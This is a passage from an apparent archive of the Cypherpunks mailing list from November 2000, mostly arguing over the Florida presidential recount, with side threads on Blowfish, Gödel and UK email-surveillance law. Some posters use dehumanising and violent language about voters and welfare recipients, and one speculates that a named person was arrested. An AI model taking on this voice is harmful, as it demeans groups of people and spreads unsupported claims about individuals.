foreign involvements > as well. There will be no clear foreign policy. This could have > devastating effects for many of the high tension areas (e.g. China - > Taiwan). It will probably effect global terrorism as well. We'll also see > an increase in espionage as well. This could effect future crypto regs in > a negative way as well. Cyphers and paranoid politicians. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > From declan at well.com Thu Nov 9 17:52:50 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 20:52:50 -0500 Subject: CDR: Bush campaign responds to Florida county controversy In-Reply-To: ; from tcmay@got.net on Thu, Nov 09, 2000 at 04:22:21PM -0800 References: <200011100005.TAA03440@www8.aa.psiweb.com> Message-ID: <20001109205250.B31401@cluebot.com> On Thu, Nov 09, 2000 at 04:22:21PM -0800, Tim May wrote: > At 7:05 PM -0500 11/9/00, George at Orwellian.Org wrote: > > > >James "too damn bad about the 19,000" Baker > >ain't no piece of cake either, FYI. > > He's right about the "19,000 spoiled ballots." Four years ago there > were 16,000 spoiled ballots in the same district, and that was with > lower overall turnout. Right. See below. -Declan FOR IMMEDIATE RELEASE CONTACT: Ari Fleischer, Mindy > November 9, 2000 Tucker > or Dan Bartlett > > Statement by Bush/Cheney Spokesman Ari Fleischer on Palm Beach County: > > "New information has come to our attention that puts in perspective the > results of the vote in Palm Beach County. Palm Beach County is a Pat > Buchanan stronghold and that's why Pat Buchanan received 3407 votes > there. > > According to the Florida Department of State, 16,695 voters in Palm > Beach County are registered to the Independent Party, the Reform Party, > or the American Reform Party, an increase of 110% since the 1996 > presidential election. Throughout the rest of Florida, the registration > increase for these parties was roughly 38%. In contrast, in neighboring > Broward County, only 476 voters are registered to these parties. > > In addition, in the 1996 presidential election, 14,872 ballots were > invalidated for double counting in Palm Beach County, a figure > comparable to the number of ballots dismissed this year, considering > this year's higher turn out. > > Given these facts, what happened on Election Night in Palm Beach County > - a county whose elections are run by a Democrat - is an understandable > event. The Democrats who are politicizing and distorting these routine > and predictable events risk doing our democracy a disservice. > > Throughout this process, it's important that no party to this election > act in a precipitous manner or distort an existing voting pattern in an > effort to misinform the public. Our nation will be best served by a > responsible approach to this recount. This recount will be watched > around the world. Its outcome should not only serve as a testament to > the strength of our democracy, but also a reflection of how each > candidate deals with a matter of the utmost national importance. > > We remain confident that Governor Bush will win Florida and become the > elected President of the United States." > > Paid for by Bush-Cheney 2000, Inc. From declan at well.com Thu Nov 9 17:55:10 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 20:55:10 -0500 Subject: CDR: Re: Democrats are arguing for "statistical sampling voting" In-Reply-To: ; from tcmay@got.net on Thu, Nov 09, 2000 at 04:26:21PM -0800 References: Message-ID: <20001109205510.C31401@cluebot.com> I suggest that we find one county for each state that we believe to be representative, let them vote, and then extrapolate from their results and assign electors accordingly. Or perhaps one household per state. I volunteer Tim and his cats to to represent California. I know the way Nietzsche would vote, at least. -Declan On Thu, Nov 09, 2000 at 04:26:21PM -0800, Tim May wrote: > > Democrat spinners are now talking up the idea of using "statistical > sampling" to assign some fraction of the spoiled ballots to Al Gore. > > Not a surprise, given that it was the Democrats who wanted to augment > the "direct count" of the U.S. Census with "statistical fudge > factors." > > I never thought I'd hear this bizarre notion extended to the vote, though! > > > > --Tim May > > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > From Wilfred at Cryogen.com Thu Nov 9 18:02:35 2000 From: Wilfred at Cryogen.com (Wilfred L. Guerin) Date: Thu, 09 Nov 2000 21:02:35 -0500 Subject: CDR: Re: Where indeed is John Young? In-Reply-To: <973819650.3a0b4f026dc06@webmail.cotse.com> Message-ID: <3.0.3.32.20001109210235.009e2408@ct2.nai.net> Given the reality and postings to the list, I wouldn't doubt the fbfeds or local police picked him up for pre-meditated stalking. Also of note, its a private sub division, and the info was posted publicly (observations) without auth from the people nor auth to inspect the property, among other things. Depends on state laws there. I dont see how people can be so blatently stupid, esp when they are expected to have a slight hint of competance... Why not call on the phone and ask them? But public statement of intent and then to actually go out there most definitely got someone arrested for being stupid. Why is the world being so dumb? Oh well. Lets hope its a quick review and fine, nothing more. (My personal statement was "dumba.." upon reading the 11/4 post...) -Wilfred Wilfred at Cryogen.com [ Because I have nothing better to do than laugh at woolies... ] At 08:27 PM 11/9/2000 -0500, you wrote: >Tim asked where John Young might be, in considering Jim Bell's predicament. I >notice that nothing new has been posted to Cryptome since Nov. 4. > >Why do I have a bad feeling about this? > > > From anmetet at mixmaster.shinn.net Thu Nov 9 18:09:09 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Thu, 9 Nov 2000 21:09:09 -0500 Subject: CDR: Big Brother looms in British offices Message-ID: <904cfe3ed2c90d6bc98bda85c3421fc2@mixmaster.shinn.net> Law permitting employers to snoop on workers' communications causes concern JEN ROSS Special to The Globe and Mail; With a file from reporter Natalie Southworth Thursday, November 9, 2000 LONDON -- Amid the clatter of keyboards in a busy Internet caf in Central London, a man in a navy suit stares glassy-eyed at his flat computer screen. Owen is e-shopping for a new laptop -- one of the many personal activities which, he says, he does not dare undertake from work. On Oct. 24, a controversial new British law came into force that allows employers to read employees' e-mail and monitor which Web sites they are visiting during work hours. "Lots of people are really scared about this," says Owen, who would not disclose his surname. Owen is expressing the worry of a growing number of British employees who are turning to Internet cafs and non-work e-mail systems to escape the feeling that Big Brother is watching them at work. To be sure, e-mail in the office has never been totally secure. As a network administrator, Owen has had access to his co-workers' e-mail. But what's new is that now employers can do the monitoring -- they can do it legally, and possibly use the information against their workers. The new law, drawn up under the Regulation of Informatory Power (RIP) Act, gives British companies wide and unprecedented powers of surveillance that other Western countries will be watching closely. In Canada, court rulings have shown that monitoring employee messages can be legal as long as employees are warned in advance. A growing body of U.S. common law indicates that companies have the right to monitor e-mail. But no specific law in either country empowers employers to read e-mail. In Britain, even before the new legislation, there were cases of employees being fired for booking on-line holidays during work hours. In September, 40 workers with cellphone company Orange PLC were let go for exchanging "inappropriate" material over internal e-mail. Owen has also seen co-workers fired for forwarding obscene jokes. But now he fears employers could take unfair advantage of their sweeping new powers and increasingly seek to monitor more information. Even some senior managers oppose the law. Morgan Davis, vice-president of management consulting firm Kaiser Associates International Inc., is in the position of potentially becoming an e-mail snooper -- and a snoopee. "It's a very control-freak type of atmosphere to let an employer read all their employees' e-mail under them," Mr. Davis says. "You can't build trust that way." He says the law can only be just if it allows employers' e-mail to be put under the same scrutiny by employees. Mr. Davis believes the hierarchical nature of the law could potentially have a poisonous effect: "It highlights the divide between employer and employee." But for others, this workplace surveillance isn't a problem. "My e-mail and Web use is provided and paid for by my employer so I don't mind the monitoring," says Tom Elliott, a law reporter for a property magazine. "I think the only people who need to worry are those who are abusing their access." Besides snooping on e-mail, the new law allows employers to listen in to and record phone calls, check who an employee is calling on a cellphone and search the hard drives of laptops, if these items are provided through work. "What if you have to ring the doctor and you can only do it during work hours and your employer can monitor your calls? You could find out you are pregnant or HIV-positive," says Annabel Crooke, a recruitment co-ordinator for Monitor Co., a strategic consulting firm. "There are certain things you just don't want your employer to know." The new law responds to businesses' argument that they need wide access to staff communications -- for example, to answer business mail sent to workers who are home sick, to check for computer viruses, or to investigate leaks of business information. "Personal" e-mail is still supposed to be off-limits. However, most e-mail is not labelled to differentiate it. Once the boss has read far enough to realize the message is private, the damage has been done. Among the law's critics are unions and anti-surveillance campaigners, who argue that it stomps on privacy rights. There is talk of a challenge under the new European Human Rights act, which became law in Britain on Oct. 1. And some companies are simply choosing not to take advantage of the new spying powers at their disposal. Still, there are those who find comfort in the existence of the law. "I'd like to know that I have the right to do it, although I might not actually do it," says bank manager Tom Binks, commenting on the ability to monitor e-mail, phone calls and Web use. He says many employers won't be bothered to spend the time and money to do the monitoring. The law may prove to be a scare tactic that is a deterrent on its own. Another controversial aspect of the law is that it allows greater access to employee communications by police and intelligence services. The RIP act obliges Internet service providers to install listening posts if requested, so that police or intelligence people can monitor e-mail traffic. As a self-employed writer, Walter Kennedy is not subject to the prying eyes of an employer, but says he is outraged that the state can now easily and legally intercept his communications. Mr. Kennedy is worried because he engages in a lot of advocacy work. "This gives them carte blanche to pry into people's personal lives. In a contentious case, the state could distort things." From mwohler at bellatlantic.net Thu Nov 9 18:13:52 2000 From: mwohler at bellatlantic.net (Marc Wohler) Date: Thu, 09 Nov 2000 21:13:52 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: References: <200011100005.TAA03440@www8.aa.psiweb.com> <200011100005.TAA03440@www8.aa.psiweb.com> Message-ID: <4.1.20001109211247.009c06a0@mail.marcwohler.com> Do these folks need killing too? At 07:22 PM 11/9/00 , Tim May wrote: > > >Fact is, voting is serious business. Those who show up dazed and >confused and punch too many holes in their ballot are an example of >social Darwinism. > >I have no sympathy for stupid people. > From apoio at giganetstore.com Thu Nov 9 13:26:36 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Thu, 9 Nov 2000 21:26:36 -0000 Subject: CDR: =?iso-8859-1?Q?O_Natal_Chegou_=E0_Giganetstore.com?= Message-ID: <08f8f37262109b0WWWNETSTORE@wwwnetstore> Grupo Finantel Estimado cliente , Há tradições que são para sempre, há outras que vale a pena mudar. Um Natal cheio de prendas está na lista das primeiras. Mas, horas e horas à procura de presentes, dispensamos. Por isso, a giganetstore.com propõe-lhe conservar o melhor do espírito da época, oferecendo-lhe um verdadeiro gorro de Pai Natal. E, ao mesmo tempo, deixar de lado o aborrecido das compras: basta uma voltinha em www.giganetstore.com e encontrar a maior loja on-line em Portugal. Aberta 24 horas por dia e com entrega ao domicílio. Agora, não perca mais tempo, o gorro de Pai Natal que oferecemos é para usar no dia 25 de Dezembro, como manda a tradição. ----- Não Entres Tão Depressa Nessa Noite Escura p.v.p 3.200$00 gigapreço 2.880$00 Tenchu 2 p.v.p 9.990$00 gigapreço 9.200$00 Clube de Combate - DVD p.v.p 6.490$00 gigapreço 6.290$00 Jovem Explorador Do Mundo p.v.p 11.000$00 gigapreço 9.450$00 Home Camera USB p.v.p 14.900$00 gigapreço 9.990$00 Jornada 720 p.v.p 229.900$00 gigapreço 209.900$00 ----- Promoção válida até 31/12/2000 Para retirar o seu e-mail desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. 2000 giganetstore. Todos os Direitos Reservados. Web Design: sitebysite . -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 7420 bytes Desc: not available URL: From jamesd at echeque.com Thu Nov 9 21:52:19 2000 From: jamesd at echeque.com (James A. Donald) Date: Thu, 09 Nov 2000 21:52:19 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092224.RAA16615@www2.aa.psiweb.com> Message-ID: <4.3.1.2.20001109214915.02772e38@shell11.ba.best.com> -- At 05:24 PM 11/9/2000 -0500, George at Orwellian.Org wrote: > Protest crowds are growing. Bush can't take office when half the > country thinks people were screwed out of their vote to have that > happen. You are deluded. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG qfFyo21b30JjGrQhU0PaxV62m7PX42DKcuFpQX4K 4sZsZUEaheVG1hv9mkGVKakGcu5gMijP3TBtLFrE/ From honig at sprynet.com Thu Nov 9 18:57:49 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 21:57:49 -0500 Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: <200011092256.RAA25933@Prometheus.schaefer.nu> Message-ID: <3.0.5.32.20001109184713.0095abf0@207.69.200.219> At 05:57 PM 11/9/00 -0500, Meyer Wolfsheim wrote: >> example, about Gnu Privacy Guard (GnuPG), an open source competitor to PGP. >> There's no doubt in Zimmermann's mind that GnuPG suffers for being managed >> by programmers. He offers the Blowfish encryption method as an example: "I >> would never, ever allow Blowfish to be implemented in PGP, because it's not >> as good a design as Twofish; Twofish is superior. PGP 7 implements Two fish. >> Yet we see GnuPG implemented Blowfish." > >Okay, I just spent 15 minutes searching the web for information on >vulnerabilities in Blowfish. Didn't find anything. Certainly I could have >tried harder... but does anyone know of any risks of using Blowfish? There are none. Blowfish has a very large key setup time, so unless you cache its internal state, its a poor choice for *certain* apps ---those where you need to switch contexts frequently. But it is very strong, because of that key schedule, and its structure. Twofish has a much faster key setup. I can't imagine what PKZ what talking about otherwise, and what you've quoted is intriguing for that reason. From honig at sprynet.com Thu Nov 9 18:57:50 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 21:57:50 -0500 Subject: CDR: Re: Godel & Turing - a final point In-Reply-To: References: Message-ID: <3.0.5.32.20001109184920.0095fad0@207.69.200.219> At 06:12 PM 11/9/00 -0500, Jim Choate wrote: >If you have a 'language' that is provably consistent then you know that >that language is not complete or 'universal'. There MUST!!! be sentences >which are not included in the listing. > This sentence is false. Big deal. Only self-referential statements run into lying-cretin problems. Go:del is neat but overblown in popular culture. From rguerra at yahoo.com Thu Nov 9 19:07:12 2000 From: rguerra at yahoo.com (Robert Guerra) Date: Thu, 9 Nov 2000 22:07:12 -0500 Subject: CDR: Fwd: Intercepting e-mail eyed by Ottawa Message-ID: --- begin forwarded text From ravage at ssz.com Thu Nov 9 20:08:06 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 22:08:06 -0600 (CST) Subject: CDR: Re: Godel & Turing - a final point In-Reply-To: <3.0.5.32.20001109184920.0095fad0@207.69.200.219> Message-ID: On Thu, 9 Nov 2000, David Honig wrote: > At 06:12 PM 11/9/00 -0500, Jim Choate wrote: > > >If you have a 'language' that is provably consistent then you know that > >that language is not complete or 'universal'. There MUST!!! be sentences > >which are not included in the listing. > > > > This sentence is false. Your proof. I refer you to, http://www.miskatonic.org/godel.html ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From brian at nexuscomputing.com Thu Nov 9 22:11:43 2000 From: brian at nexuscomputing.com (Brian Lane) Date: Thu, 9 Nov 2000 22:11:43 -0800 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: ; from tcmay@got.net on Wed, Nov 08, 2000 at 08:20:23PM -0800 References: <20001109030218.54081.qmail@web10008.mail.yahoo.com> Message-ID: <20001109221142.A3275@nexuscomputing.com> On Wed, Nov 08, 2000 at 08:20:23PM -0800, Tim May wrote: > At 7:02 PM -0800 11/8/00, Evan wrote: > >what the hell is the electoral college still doing in existance? it > >should have gone out w/ unlimited presidential terms.... voting with > >their conscience my ass.... voting in a partisan fashion is more like it > > If you are an American citizen, you have failed to understand that > this nation is a federal republic, not a direct democracy. > > Perhaps there are night school classes in your area to help you to > fill in the gaps in your education. > He sounds like one of the victimized voters from Florida. Illiterate, uneducated people who are allowing themselves to be used to throw an election (or draw things out, as the Clinton/Gore administration tends to do). If we get rid of the Electoral College then we may as well throw out all the States and just call ourselves federal citizens (not that we are very far from that state of affairs anyway). Brian -- --------[Inside 66.04F]-------[Outside 38.32F]-------[Drink 69.64F]--------- Brian C. Lane brian at nexuscomputing.com Linux Consulting & Web Hosting www.nexuscomputing.com Patriot www.libertynews.org Domain hosting $25/mo (30Meg,MySQL,PHP3,SSL,Perl) To make inexpensive guns impossible to get is to say that you're putting a money test on getting a gun. It's racism in its worst form. -- Roy Innis, president of the Congress of Racial Equality (CORE), 1988 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From commerce at home.com Thu Nov 9 19:20:36 2000 From: commerce at home.com (Me) Date: Thu, 9 Nov 2000 22:20:36 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! References: <200011100005.TAA03440@www8.aa.psiweb.com> Message-ID: <026501c04ac5$32044fd0$0100a8c0@matthew> ----- Original Message ----- From: "Tim May" > Fact is, voting is serious business. And this election is more serious than most others. The possible exile of Alec Baldwin depends on the votes of a few hundred senile Flordians. Ick. From njohnson at interl.net Thu Nov 9 20:30:37 2000 From: njohnson at interl.net (Neil Johnson) Date: Thu, 9 Nov 2000 22:30:37 -0600 Subject: CDR: Jim Bell [Was: Re: Where indeed is John Young?] References: <3.0.3.32.20001109210235.009e2408@ct2.nai.net> Message-ID: <024001c04ace$fa6c64e0$0100a8c0@nandts> I was reviewing the files about Jim Bell via John's Web Site noticed one of the conditions of his probation: (found at: http://www.parrhesia.com/jimbell/appeal1.txt ) 15. The defendant shall not possess or use address or locator computer database files, such as DMV, voter registration, national phone directories, real estate records, etc. I can't readily discern the time frame when his probation started, but it appears that he is either still on probation, or has just completed it. I'm basing this conclusion on another one of his probation conditions: 13. The defendant shall not possess or use a computer or use the Internet without permission of the Probation Officer. Did he have permission ? Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Wilfred L. Guerin" To: Sent: Thursday, November 09, 2000 8:02 PM Subject: CDR: Re: Where indeed is John Young? > > Given the reality and postings to the list, I wouldn't doubt the fbfeds or > local police picked him up for pre-meditated stalking. > > Also of note, its a private sub division, and the info was posted publicly > (observations) without auth from the people nor auth to inspect the > property, among other things. Depends on state laws there. > > I dont see how people can be so blatently stupid, esp when they are > expected to have a slight hint of competance... > > Why not call on the phone and ask them? But public statement of intent and > then to actually go out there most definitely got someone arrested for > being stupid. > > Why is the world being so dumb? > > Oh well. Lets hope its a quick review and fine, nothing more. (My personal > statement was "dumba.." upon reading the 11/4 post...) > > -Wilfred > Wilfred at Cryogen.com > > [ Because I have nothing better to do than laugh at woolies... ] > > At 08:27 PM 11/9/2000 -0500, you wrote: > >Tim asked where John Young might be, in considering Jim Bell's > predicament. I > >notice that nothing new has been posted to Cryptome since Nov. 4. > > > >Why do I have a bad feeling about this? > > > > > > > From honig at sprynet.com Thu Nov 9 19:33:57 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 22:33:57 -0500 Subject: CDR: Re: Democrats are arguing for "statistical sampling voting" In-Reply-To: Message-ID: <3.0.5.32.20001109191537.0097f4b0@207.69.200.219> At 07:27 PM 11/9/00 -0500, Tim May wrote: > >Democrat spinners are now talking up the idea of using "statistical >sampling" to assign some fraction of the spoiled ballots to Al Gore. > >Not a surprise, given that it was the Democrats who wanted to augment >the "direct count" of the U.S. Census with "statistical fudge >factors." > >I never thought I'd hear this bizarre notion extended to the vote, though! > Much as it was decided that the constitution does not allow statisticians to play with congressional districts, they may decide similarly for votes, if it comes to that. From honig at sprynet.com Thu Nov 9 19:33:58 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 22:33:58 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL In-Reply-To: <871ywk7j9i.fsf@athena.dhis.org> References: Message-ID: <3.0.5.32.20001109191913.00971100@207.69.200.219> At 07:41 PM 11/9/00 -0500, David Marshall wrote: > >After watching CNN and listening to the Democrats whine, bitch, and >moan, I guess that maybe this is the first shot of the Second American >Civil War. I guess I'd better go get more guns to defend myself >against rioting welfare fungus which may try to claim that I am a If you live in CA, you have until the end of the year to buy a handgun that doesn't meet CA "safety" specs. Maybe two; CA allows one handgun a month. My pending .22 mag NAA revolver was the last that Turners will ever carry. From k-elliott at wiu.edu Thu Nov 9 20:34:57 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Thu, 9 Nov 2000 22:34:57 -0600 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: References: Message-ID: At 18:19 -0600 11/9/00, Jim Choate wrote: >This following a near impeachment. > >What happens if by the day the new president is to take his oath there is >still no clear winner? Even if the candidates get together and one is a >gracious loser, the trauma won't be lessened. There will be literaly no >faith in the president. What would Congress need to do in order to pass an >emergency resolution that would allow the current president to stay in >office until the issue is resolved. Could this be a new way to get a third >term? Would the vice-president (who serves when the president can't) then >be the next in line (assume the speaker of the house would be next if >memory serves)? Constitutionally, I don't think congress can do anything about it- they MAY pick the day he takes office (I don't recall if that date is in the constitution or is statutory). If they get to pick the day, they might be able to get away with pushing it back for awhile, but even then the constition say, president shall serve 4 year term so it can be argued that 1 day longer than that and he's not president. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From bill.stewart at pobox.com Thu Nov 9 22:39:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 22:39:18 -0800 Subject: CDR: Re: Re: Close Elections and Causality In-Reply-To: References: Message-ID: <3.0.5.32.20001109223918.009bf460@idiom.com> At 03:54 PM 11/9/00 -0600, Jim Choate wrote: > >On Thu, 9 Nov 2000, Tim May wrote: > >> * In a close, nearly-tied election, should a re-vote be allowed? >> >> * In a close sports game, should all potential "fork" decisions >> (referee calls) be reviewed and the game rolled-back...even hours >> later? Should critical plays be re-played the next day? > >I believe the concept is called 'sudden death'. Hey, leave Jim Bell alone! :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Thu Nov 9 22:39:31 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 22:39:31 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <20001109190556.C30018@cluebot.com> References: <200011092258.RAA18152@www2.aa.psiweb.com> <200011092258.RAA18152@www2.aa.psiweb.com> Message-ID: <3.0.5.32.20001109223931.009bf460@idiom.com> On Thu, Nov 09, 2000 at 05:58:11PM -0500, George at orwellian.org wrote: >> I vote you are hereby ex-communicated from the Cypherpunks club, >> joining Dimitry Vulis. At 07:05 PM 11/9/00 -0500, Declan McCullagh wrote: >Huh? Tim has been posting such articles for years. You weren't around >for the Y2K discussions. George, you've got to remember not to mess with Winston Smith. Unlike some people who need killing, yer just gonna get unpersoned.... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ant at notatla.demon.co.uk Thu Nov 9 14:43:52 2000 From: ant at notatla.demon.co.uk (Antonomasia) Date: Thu, 9 Nov 2000 22:43:52 GMT Subject: First Quarterly Cryptuk Meeting on 29Nov2000 Message-ID: <200011092243.WAA08158@notatla.demon.co.uk> Wed 29 Nov 2000: Ben Laurie on programming with OpenSSL "The Old English Club" on the first floor of "F.T.'s Free House" in Savage Gardens, EC3. Savage Gardens is between Crutched Friars and Pepys Street and about opposite the Novotel found on your left when leaving Fenchurch St station and your right (round a corner) when leaving Tower Hill tube. It can be seen on http://www.streetmap.co.uk . We have the 1st floor bar area from 7-9pm. -- ############################################################## # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################## --------------03E6BEE2C623187379CA797A-- From bill.stewart at pobox.com Thu Nov 9 22:54:30 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 22:54:30 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: References: <200011100005.TAA03440@www8.aa.psiweb.com> <200011100005.TAA03440@www8.aa.psiweb.com> Message-ID: <3.0.5.32.20001109225430.009bf460@idiom.com> So far, Wavy Gravy's Nobody for President campaign is still out ahead.... Nobody's winning in Florida! Nobody's in charge! Nobody's going to fix the economy! Nobody's going to shrink the military-industrial complex! Vote for Nobody! At 04:22 PM 11/9/00 -0800, Tim May wrote: >At 7:05 PM -0500 11/9/00, George at Orwellian.Org wrote: >> >>James "too damn bad about the 19,000" Baker >>ain't no piece of cake either, FYI. > >He's right about the "19,000 spoiled ballots." Four years ago there >were 16,000 spoiled ballots in the same district, and that was with >lower overall turnout. > >Fact is, voting is serious business. Those who show up dazed and >confused and punch too many holes in their ballot are an example of >social Darwinism. To some extent that's true - but it's also a lot like blaming airplane accidents on pilot error when the instrument panel is atrociously designed. It's not just the pilot's fault. Of course, here, the problem happened because the ballot designers were trying to make it Easier for the old folks. There are two or three states where Gore won by a narrow margin over Bush (typically about 48-49% of the total.) Bush has hinted that if the recount overturns this one, he'll push hard for recounts there, which could get him the electoral votes he needs. And so it begins.... On the other hand, if Bush squeaks by and wins this by 10 votes, there'll be a LOT of pressure on the Bush electors to do the honest thing, admit that Gore really won (because of the 19000 trashed Gore/Buchanan ballots), and vote for Gore. It only takes 2. And they don't even HAVE to be from Florida, though those would be the most appropriate ones to fix it. > Unless he was bugging the voting booths and had ways of knowing the > true thoughts of those voting, he had no way of knowing this. Knowing for sure? No. But Buchanan's not dumb enough to overestimate his popularity among a bunch of older Jewish Democrat voters, though perhaps his protectionism appeals to some Fla. Liberals as much as Nader's does.... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From hseaver at harmon.arrowhead.lib.mn.us Thu Nov 9 19:54:31 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Thu, 9 Nov 2000 22:54:31 -0500 Subject: CDR: Re: Democrats are arguing for "statistical sampling voting" References: Message-ID: <3A0B7160.A75FC403@harmon.arrowhead.lib.mn.us> Tim May wrote: > I put a ballot in front of him, consisting of three open cans of cat food: > > Gore: O > > O : Buchanan > > Bush: O > > He spoiled his ballot by eating out of more than one can, though, so > he has now brought in Jesse Jackson, Al Sharpton, Tawana Brawley, and > Morris the Cat to argue that he was confused and should be given a > "do over." > Funny, I did sorta' the same thing here, only I got 3 cats and only one can of, er, "ballot". It was a landslide. Of course, these 3 (Mama Fritzi and her two offspring, P-Boy and Rachel) are feral cats never had no learnin' except the street. More than a bit spooky, and quick to strike out with fang and claw, also quick to disappear when strangers come. I trust their judgement. Mama Fritzi learnt 'em well -- always have a good deep hidey-hole, rip the shit outa' anybody lays a hand on you, and move fast. They guard me when I sleep. From bill.stewart at pobox.com Thu Nov 9 22:58:45 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 22:58:45 -0800 Subject: CDR: Re: Godel & Turing - a final point In-Reply-To: References: Message-ID: <3.0.5.32.20001109225845.009bf460@idiom.com> At 05:16 PM 11/9/00 -0600, Jim Choate wrote: >On Thu, 9 Nov 2000, Jim Choate wrote: >> On Wed, 8 Nov 2000, Sampo A Syreeni wrote: >> >> > You are talking about two very different problems, here. Gödel/Turing sorta >> > things are about problems where quantifiers over an infinite set are >> > permitted. >> In the particular case we are speaking of we are talking about the >> situation where the language consists of "all >> consistent/valid/evaluatable/assignable boolean sentences". >> >> Hence, somebody did a naughty... > >If you have a 'language' that is provably consistent then you know that >that language is not complete or 'universal'. There MUST!!! be sentences >which are not included in the listing. That's fine. The Satisfiability problem, and in particular 3-SAT, doesn't claim to be complete or universal. It's just a very large and versatile class of Booleans, but it doesn't pretend to contain Booleans that describe encodings of their own truth values (unlike this discussion :-) Just things of the form (A1 or A2 or A3...) AND (B1 or B2 or B3...) AND .... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From njohnson at interl.net Thu Nov 9 21:00:02 2000 From: njohnson at interl.net (Neil Johnson) Date: Thu, 9 Nov 2000 23:00:02 -0600 Subject: CDR: Re: A successful lawsuit means Gore wins! References: Message-ID: <026c01c04ad3$3c685800$0100a8c0@nandts> Was the Florida Ballot possibly confusing ? Yes! Should it be redesigned for the next election? Yes! Does it mean those people should get to re-vote ? No! Life is unfair (a.k.a. Shit Happens). Accept the consequences. Learn from your mistakes. Get on with your Life. There are a lot of things in my life I'd like to do over because of mistakes, circumstances, etc. Do I get a chance to do them over ? Nope. Unless they can demonstrate real fraud or negligence on the part of election officials (refusing to give voters replacement ballots if they screw up in the booth), the results of the recount should stand. Otherwise we will be opening a giant can of worms. As for Gore having more actual votes than Bush, it doesn't matter. If you're not happy about that, push to have the Constitution amended (Good Luck!). Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Kevin Elliott" To: "Jim Choate" ; Cc: "The Club Inferno" ; Sent: Thursday, November 09, 2000 10:34 PM Subject: Re: CDR: Re: A successful lawsuit means Gore wins! > At 18:19 -0600 11/9/00, Jim Choate wrote: > >This following a near impeachment. > > > >What happens if by the day the new president is to take his oath there is > >still no clear winner? Even if the candidates get together and one is a > >gracious loser, the trauma won't be lessened. There will be literaly no > >faith in the president. What would Congress need to do in order to pass an > >emergency resolution that would allow the current president to stay in > >office until the issue is resolved. Could this be a new way to get a third > >term? Would the vice-president (who serves when the president can't) then > >be the next in line (assume the speaker of the house would be next if > >memory serves)? > > Constitutionally, I don't think congress can do anything about it- > they MAY pick the day he takes office (I don't recall if that date is > in the constitution or is statutory). If they get to pick the day, > they might be able to get away with pushing it back for awhile, but > even then the constition say, president shall serve 4 year term so it > can be argued that 1 day longer than that and he's not president. > -- > > "As nightfall does not come at once, neither does oppression. In both > instances, there is a twilight when everything remains seemingly > unchanged. And it is in such twilight that we all must be most aware > of change in the air--however slight--lest we become unwitting > victims of the darkness." > -- Justice William O. Douglas > ____________________________________________________________________ > Kevin 